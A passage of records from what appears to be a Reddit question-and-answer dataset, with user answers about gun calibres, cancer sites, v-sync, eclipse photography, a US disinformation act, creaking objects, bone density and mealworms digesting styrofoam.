defense\" will probably, *hopefully* never actually be used for that purpose. Hopefully just some fun range target shooting if you so choose.", "Similar question: why are there so many cars with the same number of seats?  Doesn't the number of seats determine it's carrying capacity, while the  rest of the car is just there to facilitate moving the people?\n\nThere's a lot more to a car than just how many people can fit in it, just as there's a lot more to a gun than which cartridge it feeds.", "It's not worth the effort to set up the logistics to mass manufacture, popularize, and distribute a new custom cartridge that's going to get an extra 1% of performance out of a gun.\n\nFirearms is pretty much a solved problem. Almost any modification you can make to a gun or the cartridge is going to become a compromise, not a straight upgrade.", "The bullet is less important to the leathality than the speed of the bullet.  Tissue and organs whiplash, tear, and sometimes explode at when hit from higher speed bullets.", "There are all sorts of differences in the weapon itself. Take the .45 ACP. I have a Taurus PT1911. This is a traditional style 1911, 6\" barrel, single stack semi automatic. I chose a 1911 style pistol over a newer style gun like Taurus' own 24/7 for a number of reasons. I prefer the greater barrel to grip angle of the 1911, which \"points\" more naturally for me. I prefer the single stack magazine over a Z stack because I have smallish hands and cant comfortably hold a fat grip that most newer style guns use, even if it reduces the ammo capacity of the magazine. I went with a 6\" barrel, quite long, because I dont intend to concealed carry it and I like the accuracy and additional muzzle velocity of the longer barrel. I could get a much shorter barreled pistol that's easier to conceal and carry, but at the expense of muzzle velocity and accuracy. My gun has several optional features that make it function better, but at additional cost, like the flared ejection port that helps prevent jamming, the beaver tail grip that makes it more comfortable to hold, and the 3 dot sights that work much better for me than traditional iron sights. I probably spent an additional $200-$300 on my gun compared to a bare bones 1911 for the extra features. So there are MANY factors at play, and a manufacturer looking to fill every need. Like Crepitor said, it's like a car. They all use essentially the same fuel, but are all using it different ways to accomplish different tasks.", "Same reason why there are so many vehicles in the same class. They all get you from A to B but they vary in cost, reliability, handling (ergonomics) as well as other factors. When it comes to firearms, small arms at least, you're usually forced to pick between certain trade-offs and this is where the variability comes from. You can have a rifle that's super accurate but it'll have to have close tolerances and won't be as reliable. It'll likely also cost more to manufacture. It might also be more finicky which could present a problem if your goal is to outfit an entire army with it. You can have a super cheap rifle that can be mass produced quickly but it probably will be rather crude, perhaps uncomfortable to use and likely not the most accurate. Weight tends to trade off with reliability (heavy bulky parts don't break as often,) barrel length (and therefore overall length) trades off with accuracy in certain situations. \n\nThe best firearms, historically, have been those that struck very good balances and gave up the least amount from each side of these trade offs. But virtually every point on the spectrum when it comes to all these trade offs is occupied by some firearm or another. Most aren't very good unless they're copies, or minor alterations, of the historically successful firearms.", "Why are there so many types of cars?  Doesn't the number of seats determine how many people they can carry?  The speed limit determines how quickly you get there.", "It\u2019s like cars. It may be a Silverado HD 2500, but it\u2019s in the Suburban because it needs power to drag that phat ass.", "Kind of for the same reason that there are so many cars that use the same grade of gasoline. The guns are of different quality, capacity, design, accuracy, cost, etc. \n\nHaving a different caliber bullet for each model of gun would make selling ammunition a very complex task. \n\nWhile the size and weight of the bullet and the amount of gunpowder determine the amount of energy at the time of firing, there are many factors within the gun that will affect the muzzle velocity, accuracy, etc.", "I feel like this question is massively indicative of the way many people think about guns. Nothing against OP at all, but the use of guns varies between a huge swath of uses, from very specific personal defense scenarios, to hunting, to a huge variety of competitive disciplines. Different guns are designed for different things. One caliber can handle many different jobs, but it\u2019s The characteristics of the gun launching it that make all the difference. You wouldn\u2019t use a 24 inch barreled 5.56 gun for personal defense in your vehicle because it\u2019s too damn big and you\u2019d never get it pointing at your target from inside of a vehicle, but, you wouldn\u2019t use a short-barreled 5.56 gun for long range precision, because you\u2019re losing so much velocity with the short barrel and your round is going to slow down too much by the time it reaches a distant target. There are design considerations for size, weight, reliability, ergonomics, features, aptness for certain environments, aesthetics, velocity, accuracy, and any other number of considerations, not to mention, patents! Some people would even be shocked to see the vast array of different bullet components just within a single caliber! There are currently dozens, if not hundreds of different .223 bullets available on the market currently, and that\u2019s just the bullet. Never mind the primer types, the powders used, or the casing. You could hand load a .223 cartridge in any one of thousands of combinations. People literally will hand load specific rounds for their specific gun. Not just their particular model of gun, but that specific barrel in that specific action, on their specific gun. Unfortunately, the general public only knows about guns from TV, movies, and video games, but that doesn\u2019t give an accurate picture of the real shooting world. It\u2019s easy to see, how some people can spend their entire lives shooting, amass a massive knowledge base, and never get bored.", "So the fundamental physics of any weapon remains the same. Just like knives, they all either cut or pierce or both. The variations allow specific things more tailored to the user. for instance, if they have large hands and need more surface area to properly aim, versus someone with smaller hands where a big gun shape/grip would just make it unwieldy.  Some people want more or less bullets to be ready in a magazine, or they want a slide release a specific way, or they'd like a safety that operates via blocking the firing pin versus locking out the trigger. Some have interchangeable barrels or they can have silencers added, or there are spots where people want to attach custom lasers, flashlights, or sights. every aspect can be tailored, and so every combination is considered and has a market, however small. \n\nWith knives it's the same thing, You want a chef knife for lots of quick rocking cuts, or a kukri or machete for cutting into something with a thick outer later. A bayonet or a dagger or a serrated edge for sawing wood or a think blade for filleting fish", "Militaries like to reduce the number of different bullets they have to stock.\n\nIf the standard pistol and the standard automatic rifle both use the same ammo, then a soldier can carry one kind of ammo and use it in whichever weapon he needs to.  If they were different kinds of ammo, you might have to carry more ammo in total and you still wouldn't have the same flexibility.  This may mean the ammo isn't perfect for one or both weapons, but it's good enough and the compromise is worth it.\n\nIf all of a countries forces use the same kind of ammo, that makes logistics easier too - the military only has to stock and deliver one kind of ammo at their bases.  If they are part of a military alliance, e.g. NATO or the old Warsaw Pact, then it makes sense to standardise ammo across all countries in the alliance so soldiers from different countries can work together and share ammo supplies.\n\nHowever, with something like NATO, national pride may mean that many countries want to use weapons designed and built by their national weapons manufacturers, and want to use ammo built by their local ammo manufacturers.  (And/or they want to try and sell those things to the other members of the alliance).  And monopolies are never good for the buyer, so it is in NATO's interests to allow multiple manufacturers to compete.  So NATO standardises the specification for ammo, but different gun designs are used by different countries.  Also, several companies make ammo that meets the standard.", "Okay the top several answers didn't seem to eli5 enough for me.. So..\nGunpowder.  The amount of gunpowder is just as important as the caliber.  That's where the bang comes from.", "It comes down to use and person preference/ergonomics.\n\nSometimes you just like the way one gun feels in your hands over another, or the weight or size fits you better. Some people have bigger or smaller hands, or longer or shorter arm, so one size doesn't necessarily fit all. You may like how the controls are laid out better on a 1911 than on a Glock, or you may appreciate that the Glock has almost twice the capacity of the 1911, or you may like a different gun altogether.\n\nIf you're looking at handguns, for example, a heavier one with a longer barrel would probably be more accurate and be easier to manage the recoil, making it good for target shooting, but you'd probably want something smaller and lighter to carry with you day-to-day, even if they're both the same caliber.\n\nIf you're building an a really precise target rifle, you may have a lot of precision parts built to really tight tolerances optimized for shooting from a bench with a really light trigger pull. If you're looking for a hunting rifle, all those tight tolerances might mean it could get jammed up easier from dirt and debris, or might rust easier, and the light trigger might be dangerous if it gets caught on something or jostled the wrong way. You'd prioritize ruggedness and reliability a little more. \n\nIf you're looking for a shotgun, you may want a longer barrel for more accuracy bird hunting or skeet shooting, but that longer barrel may make it hard to maneuver inside if you want a shotgun for home defense, and you may want a rifled barrel to shoot slugs out of for deer hunting.\n\nThen there's the factor of what you want just because you want it. You could have 2 otherwise completely identical guns in shape, size, weight, caliber, and quality of manufacture available in different colors and finishes. It doesn't really make one lick of difference to performance if you want it in a matte black finish with walnut grips, or a polished chrome finish with cocobolo wood grips. The only difference is which you think looks better (and probably a not insignificant price difference, cocobolo isn't cheap)", "Newton's second law of motion:\n\nForce = Mass x Acceleration\n\nCaliber will relate to mass although not perfectly (caliber is the diameter of the gun barrel but you can make longer bullets too).\n\nAcceleration will be barrel length (to some limit) and cartridge size (how much oomph there is in each shell).\n\nKinetic energy is 1/2 x Mass x Velocity^2\n\nSo, velocity matters more than mass when putting energy (read destruction) into a target.  But go too fast and you just poke a neat hole in the target.  Sometimes you want the bullet to not go through but stay in the target and bounce around causing more damage.  There is no best...just best for what you expect to be shooting at (e.g. an armor penetrating bullet is good against someone with body armor but not so good against an un-armored target since it will go right through).\n\nWhen designing a gun you can fiddle with all of the above and get different results.  Fiddle with other things too like weight and rate of fire and so on gets you loads of different kinds of guns.", "Profit.\n\nIf you can make lots of something it's cheaper.\n\nArmed forces have standardised on specific calibres and so they are produced in huge volumes. Which means they are cheap.\n\nMost targets are squishy organic things and we have completely serviceable options to make holes in those. If it ain't broke...\n\nAnything else is niche so low volume and therefore expensive to develop.", "Nobody mentioning the 50cal BMG as an extreme example?\n\n1. Vehicle mounted M2 for when you absolutely have to stop everything - _URL_1_\n\n2. Light 50 Sniper - for when you want to stop 1 thing with one bullet very far away - _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Barrett_M82", "https://en.wikipedia.org/wiki/M2_Browning"]]}
{"q_id": "oxxr4", "title": "I'm told that cancer can occur essentially anywhere in the body, but which places are the most/and least likely?", "selftext": "Just a pharmacy student with some innate curiosity.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/oxxr4/im_told_that_cancer_can_occur_essentially/", "answers": {"a_id": ["c3kxc2j", "c3kyc84", "c3kz9yv", "c3l10mm", "c3l1mrq", "c3l2se7"], "score": [83, 3, 2, 3, 2, 2], "text": ["Cancer is most likely to occur in epithelial cells, which is the layer of rapidly dividing cells that replenishes tissue.  Cancer is a disease of unchecked cellular division, so this is easier to occur in cells that are already wired to divide frequently.\n\nOn top of that, cancer is more likely to develop in cells that are exposed to mutagens from the environment *or* regulated by hormones.  So we put these three things together, and see why the most common cancers are in the epithelium of: \n\nskin (mutagens)  \nlung (mutagens)  \ncolon (mutagens)  \nbreast (hormones)  \nprostate (hormones)\n\nThe places you seldomly see cancer are cells that rarely, if ever, divide.  I know less about this area, but things that spring to mind are muscle, nerves, and the lens of the eye.\n\nedit: an interesting counterexample to my post is the epithelium of the small intestine.  These cells have an *extremely* rapid turnover rate, on the order of a few days.  They are also exposed to mutagens from our diet.  Yet small intestinal cancer is extremely rare.", "I can't quite find the source, I remember a Ted talk that examined where cancer forms in the body.  The speaker went on at length at how rare muscle cancers were.  \n\nChiefly, muscle cells themselves aren't dividing as rapidly as you'd expect.  But also muscles had some kind of protection against angiogenesis.  Tumors that managed to form in skeletal muscle had a hard time recruiting blood vessels for growth.  I found the observation interesting considering how much of our bodies are made up by this tissue.", "A very general way to think about it is that cells that divide more or are more exposed to mutagens will be more prone to developing into neoplasms.  The converse is also true, cells that very rarely divide will be less likely to develop cancer.", "Brain cancer driven by a a cancerous neurons (neuroblastoma) is *very* rare because neurons have exited the cell cycle and don't replicate. Brian cancers of glial cells are much more common.", "You may be interested to know that certain cancers have a much greater incidence in one area rather than another.  For example, in Japan, stomach cancer is much more common than in the US.  That's why in Japan they screen for stomach cancer and not in the US.", "Heart cancer because heart cells rarely divide. Recent research has shown that up to 45% of your heart cells divide in your LIFETIME (something like that, I don't feel like going through the literature). This is huge compared to what was previously expected, but inconsequential compared to skin, gut, and marrow which are totally replaced orders of magnitude more in your lifetime.\n\nEssentially the less cells divide, the lower the potential for mutation and consequently cancer growth. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "3i72yt", "title": "v-sync under 60 fps: does it prevent incomplete frames from being displayed or from being rendered at all?", "selftext": "If it does the former, isn't that a waste of GPU power? If it does the latter, how does it predict when it should start rendering a certain frame so it can be fully displayed at the correct time?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3i72yt/eli5_vsync_under_60_fps_does_it_prevent/", "answers": {"a_id": ["cudv180", "cudvm7p"], "score": [2, 2], "text": ["Enabling v-sync will not cause the GPU to render frames that aren't displayed. If you enable v-sync, the GPU will wait until the display hardware has completed drawing the current frame before swapping the buffers. If this is not done, the GPU will swap the buffers as soon as it's completed rendering a frame, and if this happens while the display hardware is still halfway through refreshing the screen, then the half the screen will be one frame and the other half the next - an artifact called [screen tearing](_URL_1_)\n\nOnce the GPU has finished rendering the current frame, it will cannot begin rendering the next until the buffers have been swapped, so GPU power is not wasted rendering frames that will not be displayed. There is no need to predict when the frame will finish rendering because there's no need for the frame to be displayed as soon as it's rendered - the GPU begins rendering the frame as soon as the previous frame has been displayed, and oncei it is finished it waits until the next [vertical blanking interval](_URL_0_) before displaying it. V-sync caps the frame rate to the refresh rate of your monitor.", "V sync forces the gou to wait until the monitor refreshes to update the render buffers (hence synchronization). This doesn't lead to incomplete frames though a GPU wont update the buffers if a frame isn't complete. What it does do is cause the GPU to wait though. With V sync if your frame rate drops below that of your monitors refresh rate you end up with gpu having complete frames that it cant render into buffers because it has to wait for the monitor to refresh so you actually lose performance which is indeed a waste of gpu power. That's why if you cant maintain over an FPS over the screens refresh rate your better off disabling v sync.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Vertical_blanking_interval", "https://en.wikipedia.org/wiki/Screen_tearing"], []]}
{"q_id": "6v15ky", "title": "why you shouldn't take eclipse photos with your smartphone if you can normally take pictures of the full sun without any problems", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6v15ky/eli5_why_you_shouldnt_take_eclipse_photos_with/", "answers": {"a_id": ["dlwy6ag", "dlx1k5i", "dlx22cz", "dlx23oj", "dlx2fgp", "dlx4n9n", "dlx5dis", "dlx5r6j", "dlx5rwy", "dlx6xg3", "dlx79it", "dlx86ph"], "score": [489, 21, 62, 196, 17, 3, 2, 2, 12, 3, 2, 2], "text": ["The main issue is not your phones camera, but the risk of you looking at the eclipse for too long, looking directly at the sun during the day by itself is already a bad idea.  \n\nThe danger during an eclipse is your eyes adjusting for a dark environment, so your pupils widen, if you now look at the eclipse your eyes might take severe damage, without you even noticing, as the brightness of the sun that would usually force you to look away/close your eyes isn't there anymore.", "I thought the advice was given because shooting a picture of the sun will end up looking crappy. Have you ever tried taking a picture of the moon? It ends up being a tiny white dot on a black background with maybe an ugly halo. You need more professional equipment to be able to get a decent picture.", "Honestly dude, eclipse totality is going to look exactly the same as it has for 1,000s of years. why people would be pointing at the sun and taking a photograph with their mediocre phone camera instead of looking around and enjoying a rare experience is beyond my comprehension.  ", "I'll chime in. I'm professional photographer. I haven't shot an eclipse, but I have shot with a 90mm Reflector Telescope.\n\nThe issue with shooting the sun is the lens. The front element captures all available light, and through a series of elements focuses that light onto the sensor. You're right in saying you can take photos of the sun without damaging your camera. An eclipse doesn't suddenly produce more light. The sensor will protect itself from excess light. But like burning ants with a magnifying glass, enough focused light will physically burn the sensor. So I wouldn't set the camera on a tripod and do a long exposure shot. It'll have enough time for the infa-red to burn the sensor.\n\nThe other issue is burning out your retinas. Some professional cameras have an optical viewfinder. The light comes down the lens and there is a mirror in front of the sensor that directs the image up into the viewfinder. When you press the shutter release it flips and directs the image at the sensor. Then back to the viewfinder. \n\nSo just like the sensor, that concentrated light is directed at your retina. Magnifying glass vs ant again. This is that same reason that every telescope has stickers everywhere that says \"don't look at sun\".\n\nThe only time I worked on a job where a sensor was fired was a big stage performance and a lazar shot directly into a digital cinema camera. It's pretty rare.\n\nAs you smart phone doesn't have a large lens to direct the light, or an optical viewfinder, I wouldn't worry too much.\n\n ", "I heard on the news last night that you can use your phone to watch the eclipse. Stand with the sun at your back, put your phone on a selfie. I'm not going to do it because I live in central Florida and the sky will look like an ordinary cloudy day. ", "If you've never had a problem, then you probably won't have a problem today.\n\nBut the sun is bright, and you have a little magnifying glass in front of the electronics. Everyone knows the fun of melting stuff with a magnifying glass in the sun.\n\nCCD smoke. Don't breathe this.", "One reason I've heard of why using a cell phone may not be a good idea is that people usually look at their target before pointing the phones camera at it. I'm not sure about what it might do to any of the sensors in the camera but it seems like it might give you an opportunity to look at the sun without any eye protection. ", "Would it be ok to look ar the eclipse on my phone on external camera wearing my samsung gear vr?  ", "You can take pictures of the eclipse with a digital camera. The light won't damage any part of the camera. But ABSOLUTELY DO NOT LOOK AT THE SUN THROUGH A LENS. So the digital display of the phone is fine. the digital display of a digital camera is fine. The camera will not be damaged. But if you use your eyes to look through the tiny window of a fancy camera or an old camera, you will burn your retina. ", "It won't destroy your camera any more than leaving your phone in direct sunlight will destroy it. Remember, phone CCDs don't have a shutter and are always exposed to light from outside. If looking at the sun could damage them, we'd all be paranoid about leaving our phones in the sun.", "Phone camera will be fine but if its a larger camera you need a solar filter but phone is just fine ", "A couple of things to remember here\n\n* While you've probably taken a photo of a sunset, the light is very different than light from the sun when it is (nearly) directly overhead.  You are looking through a lot more atmosphere at sunset.\n* The lens on your cell phone captures about 50-75\u00ba of the scene in front of it, the Sun and Moon are 0.5\u00ba wide.\n* Your phone lacks optical zoom capability. Any zoom is throwing away parts of the image, which doesn't make the image better."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "5hxgfr", "title": "the \"countering disinformation and propaganda act\" that us senate recently passed.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5hxgfr/eli5_the_countering_disinformation_and_propaganda/", "answers": {"a_id": ["db3qpld", "db4lliu", "db571ic"], "score": [8, 3, 3], "text": ["It's not very difficult to read on your own from the source, I recommend anyone curious does: [here](_URL_0_)\n\ntl;dr The intelligence community chiefs must form a committee and have meetings about Russia regularly. They can ask for money if they need it.", "Huh, funny how this was removed.\n\nHello to the new boss, same as the old boss?", "Considering that this Reddit post is one of the first Google results for this Act, and that it has received basically no press coverage, I will give my shot at an explanation.\n\nThe Countering Disinformation and Propaganda Act was first proposed in March, by Senators Republican Rob Portman and Democrat Chris Murphy.  It was passed in the House on December 2nd, and in the Senate on December 8th, tacked on to the National Defense Authorization Act. If Obama signs it, it will become law. \n\nThe act expands the purposes of the \"Global Engagement Center,\" which was [initially](_URL_3_) created in January 2016 as a \"whole-of-government\" effort to \"coordinate, integrate and synchronize messaging to foreign audiences that undermines the disinformation espoused by violent extremist groups, including ISIL and al-Qaeda, and that offers positive alternatives.\"  In essence, to counter propaganda used by Islamic extremists in their online recruiting efforts.\n\nThis new act [expands](_URL_1_) these efforts from just violent extremist groups to also include \"state actors.\"  According to the website of Senator Portman (emphasis added),\n\n > The bill would increase the authority, resources, and mandate of the Global Engagement Center to include state actors like Russia and China in addition to violent extremists. The Center will be led by the State Department, but with the active senior level participation of the Department of Defense, USAID, the Broadcasting Board of Governors, the Intelligence Community, and other relevant agencies. The Center will develop, integrate, and synchronize **whole-of-government initiatives to expose and counter foreign disinformation operations and proactively advance fact-based narratives that support U.S. allies and interests.**\n\nThe act also establishes a fund to help train \"local journalists and provide grants and contracts to NGOs, civil society organizations, think tanks, private sector companies, media organizations, and other experts outside the U.S. government with experience in identifying and analyzing the latest trends in foreign government disinformation techniques\" - basically, recruiting groups in other countries into our efforts to expose and counter anti-American disinformation.\n\nSo is there cause for concern? I will let you decide, but whether or not this power is ultimately abused depends on how our government agencies (including the FBI, CIA, and NSA) interpret \"foreign disinformation operations.\"  It also depends on what oversight will prevent these agencies from being very liberal in what they are willing to consider anti-American.  Consider the following:\n\n\n*As we all know, many of the agencies who will be authorized to \"counter disinformation\" and \"proactively advance fact-based narratives that support U.S. allies and interests\" have been involved in numerous scandals over the past several years which mostly stem from the fact that they operate largely without oversight, and as a result tend to prioritize expediency over protection of constitutional rights.\n\n\n*The [Smith-Mundt Act](_URL_0_), making it illegal for the US government to use propaganda against their own citizens, was [modified](_URL_2_) in 2013 to remove this distinction between American citizens and foreigners.  An anonymous [Pentagon official](_URL_6_) concerned about the law said\n >  It removes the protection for Americans. It removes oversight from the people who want to put out this information. There are no checks and balances. No one knows if the information is accurate, partially accurate, or entirely false.\n\nThe modification of the Smith-Mundt Act means that the \"fact-based narratives that support U.S. allies and interests,\" that will be \"proactively advanced\" by the Global Engagement Center to counter \"foreign disinformation,\" can be used to persuade American audiences.    \n\n\n*There is currently a [tendency](_URL_4_) among many high-level Democratic party politicians [and journalists](_URL_5_) to be very liberal in who they implicate as Russian puppets.\n\n\n*The act was initially proposed in March, well before the current outrage over Russian interference in the election of Trump.\n      "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.congress.gov/bill/114th-congress/house-bill/6393/text#toc-H1F34F7843955494592B6F04108572B27"], [], ["https://en.wikipedia.org/wiki/Smith%E2%80%93Mundt_Act", "http://www.portman.senate.gov/public/index.cfm/press-releases?ID=3765A225-B773-4F57-B21A-A265F4B5692C", "https://en.wikipedia.org/wiki/National_Defense_Authorization_Act_for_Fiscal_Year_2013#Smith-Mundt_Modernization_Act_of_2012", "https://www.state.gov/r/pa/prs/ps/2016/01/251066.htm", "https://theintercept.com/2016/12/10/anonymous-leaks-to-the-washpost-about-the-cias-russia-beliefs-are-no-substitute-for-evidence/", "http://www.thedailybeast.com/articles/2016/12/09/washington-post-on-the-fake-news-hot-seat.html", "https://www.buzzfeed.com/mhastings/congressmen-seek-to-lift-propaganda-ban?utm_term=.kd40OX9WP#.wr7jkzZEg"]]}
{"q_id": "7itcpl", "title": "why do things creak when you moved/touched it after not touching/moving it for a long time?", "selftext": "i have not touched my computer monitor for more than a week and when i decide to adjust it, it creaked. I adjusted it 10mins later and the creaking sound was gone. This only happens if i never adjust my monitor screen for more than a week.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7itcpl/eli5_why_do_things_creak_when_you_movedtouched_it/", "answers": {"a_id": ["dr18xx6"], "score": [4], "text": ["QUite certain its from a mixture of the weight slowly pushing down to a minimal resting position, along with the materials constantly changing volume based on temperature, similar to wooden houses in the winter."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1v4o82", "title": "Is Wolff's law the reason that athletes usually have higher bone density, or is there another cause?", "selftext": "So I've read somewhere that football players have stronger bones due to the nature of their sport. I've also heard a claim from various Muay Thai practitioners that Muay Thai can condition one's bones due to microfractures. The claim is that every time you do something like bumping your shin, a microfracture occurs. When the microfracture is healed, the bone is stronger(similar to muscle recovery). Is there any truth to this claim, and were there any studies done on this?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1v4o82/is_wolffs_law_the_reason_that_athletes_usually/", "answers": {"a_id": ["cep9vr7"], "score": [3], "text": ["Oooh goodie, a bone question! Finally, something that's my cup of tea.\n\nIt is absolutely true that loading bone makes it stronger. We tend to think of bones as inert and static things--basically giant hangers from which our muscles and organs hang. In fact, the truth is exactly the opposite--bones are very metabolically active.\n\nYour bones are constantly being broken down and built back up by two cell types which work together. Osteoclasts are constantly breaking down old bone, and many osteoblasts follow the osteoclast through the bone, laying down new tissue. This new tissue is called osteoid, and it isn't nearly as mineralized as the rest of your bone. Every once in a while, an osteoblast gets stuck in it's osteoid, at which point it changes to osteocyte. Mineralization will progress around the osteocyte, and correspondingly over time, the surrounding osteoid will get progressively denser. This leads to a normal range of bone mineral density distribution (BMDD) (_URL_1_). Figure 1 of that paper shows the normal range of BMDD in a rat mandible. \n\nNow, many things can alter this BMDD. Giving radiation or drugs (such as bisphosphonates or parathyroid hormone, both of which are used to treat osteoporosis) can alter a person's BMDD. So can their activities. Any activity that increases a load on a bone will trigger the bone to strengthen itself. But how does this work?\n\nOne possibility is microfractures. This absolutely a mechanism that will be occurring in top-level athletes. Their training regimens may, in fact, impart a level of damage to their bones to trigger fracture healing response mechanisms. But will this happen to you? Probably not.\n\nHere's why: in any material, you have two types of \"damage\" you can do to the material: non-plastic deformation and plastic deformation. In non-plastic deformation, you are loading a material below it's yield point, meaning that when you remove the load, the *material will go back to it's original shape, undamaged.* Once you hit the yield point, plastic deformation occurs, and you will start producing micro- or macro-fractures. In plastic deformation, the material will *not* go back to it's original shape, undamaged, which makes sense since we've fractured it. Here is an example stress-strain curve which shows what i'm talking about. _URL_3_ . As you can see, non-plastic comes first, and then once we have a fairly high level of displacement, we get plastic deformation. \n\nThis might not make sense to you if you're still thinking about bones as giant blocks of calcium. They actually have a lot more to them than that. There is a *lot* of collagen in bones, which is a fairly stretchy material. In fact, gelatin (Jello) is a modified form of pig/cow collagen. Combining the strength of calcium with the ductility of collagen allows bone to be very strong, yet relatively robust against plastic deformation.\n\nSo if microfractures aren't how we're generally strengthening our bones, how does this process work? As it turns out, bone cells (ostecytes) can actually \"feel\" mechanical forces and respond to them. They do so through what are called \"mechanotransductive pathways\", which is a vague way of saying that they convert a mechanical stimulus or input into a biochemical or genetic effect. We know that this absolutely happens through nifty little contraptions like FlexCells ( _URL_2_ ) which allow us to mechanically load cell culture plates. We throw some osteoblasts on there, compare them to cells that aren't being loaded, and we see *wildly* different gene expression profiles--so we know that the cells are responding directly to mechanical stimulus. This ( _URL_0_ ) is a fairly nice review on some of the more recent literature regarding osteocyte mechanotransduction, if you're interested in getting into gene names and whatnot.\n\n\n\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://link.springer.com/article/10.1007/s12018-010-9079-x", "http://www.ncbi.nlm.nih.gov/pubmed/22976646", "http://www.flexcellint.com/", "http://images.tutorvista.com/content/solids-and-fluids/stress-strain-curve.gif"]]}
{"q_id": "3s8b48", "title": "Since mealworms eat styrofoam, can they realistically be used in recycling?", "selftext": "Stanford released a study that found that 100 mealworms can eat a pill sized (or about 35 mg) amount of styrofoam each day. They can live solely off this and they excrete CO2 and a fully biodegradable waste. What would be needed to implement this method into large scale waste management? Is this feasible?\n\nHere's the link to the original article from Stanford: _URL_0_", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3s8b48/since_mealworms_eat_styrofoam_can_they/", "answers": {"a_id": ["cwv5khz", "cwv5pv0", "cwv6aah", "cwvby4z", "cwveqb9", "cwvf9zs", "cwvgbgs", "cwvll84", "cwvtl0m"], "score": [980, 75, 35, 7, 6, 6, 6, 2, 5], "text": ["It's not really recycling if you turn it into CO2 + some stuff that degrades into more CO2 and water. Seems a bit pointless if you want mealworms to replace an incinerator; burning accomplishes the same result at a much larger scale, too.\n\nWhat's interesting is the potential use of polystyrene-eating gut bacteria to degrade plastic waste in the wild. ", "It seems like this would require an excessive number of meal worms.  35mg is 0.000035kg so it would take roughly 28,500 days (~78 years) for these same 100 meal worms to eat 1kg.\n\nA quick check shows Hong Kong along uses 135 tons (122,469 kg) per day.  So even if we had 1,000,000,000 working on this it would still take years just to cover the waste from a single city.  I would show more math, and hopefully someone will come along that will show I am wrong and show the math, but I am on my phone and my lunch time is up.", "One is to isolate the enzymes the mealworm uses to break down the styrofoam efficiently and simply use those \u2013 which is what the researchers are trying to do. It's not so much the mealworms themselves that are breaking the styrofoam but colonies of bacteria in the gut. \n\nIdeally, you'd want to capture and process the CO2 released anyway, so if there was an alternative chemical pathway that prevented excess CO2 from being generated, that would be a plus.", "If it's allowed, I would like to ask a secondary question. \n\nMealworms are an excellent source of protein, and many people believe that insect-farming may be a feasible means of providing protein to third world nations. Wouldn't that in itself justify the use of mealworms as an alternative to incineration? That way we are actually getting some use out of the waste product and not just offloading it into the atmosphere.", "I wonder if we can make the meal worms eat a bit more by tweaking the styrofoam recipe a little? There's ALWAYS a rate limiting step. Secondly, mealworms are ideal for selective breeding. Take 100 mealworms, watch them eat, select the worms that are the best at turning styrofoam into protein, breed them, repeat. Possibly add a mutagenic step for more mutant cred/speed.", "Given the current concerns over global warming, why would you want to turn Styrofoam into CO2?\n\nIt would be better to capture it as Styrofoam and bury it in such a way as to prevent decomposition.\n\nPut the oil back in the ground, so to speak.", "Well, a little bit of math.  In a year, 1 mealworm can eat (let's call it) 125 mg of styrofoam.  That means a billion mealworms are needed to eat 125 metric tons, or 137 tons.  Worldwide production looks to land somewhere at least in the hundreds of millions of tons.  So you would need on the order of *quadrillions* of mealworms to eat it all, and this is to say nothing of what we currently have.  I couldn't find anything on the worldwide population of mealworms, but the numbers paint a fairly bleak picture.  The fantastical possibility that we can up the appetite of the mealworms by 1000 fold might easily be offset by the liklihood that my estimate for how much plastic is made is a grave underestimate.", "Caveat: I work in IT at a major producer of single-use foam poly-styrene products and also sit on the environmental impact team.\n\nWhile the meal worms study is interesting, I think it is best used as an example of the different ways that poly-styrene can be recycled.  From the studies I have seen, the best, currently viable method of recycling EPS is the way that it currently is done: shredded, melted down, and then re-beaded.  Once it's been reformed into recycled bead, it can be extruded into any of a plethora of products.  The one my employer brags about is crown and floor molding.  Outside of the miniscule loses in the shredding/re-bead process, it is a 1:1 ratio for input:output, not of course including the energy needed to melt and reform.", "I'm actually working on scaling this experiment up massively. I received funding and research space today. We're starting with a 500 gallon vat and seeing how quickly they bioremediate styrofoam, and then we'll be testing the frass for toxicity. The next step is seeing if the beetles (the 'worms' are just the larval form of T. molitor) will take powdered plastics of other formulations. "]}, "title_urls": [], "selftext_urls": ["https://news.stanford.edu/pr/2015/pr-worms-digest-plastics-092915.html"], "answers_urls": [[], [], [], [], [], [], [], [], []]}
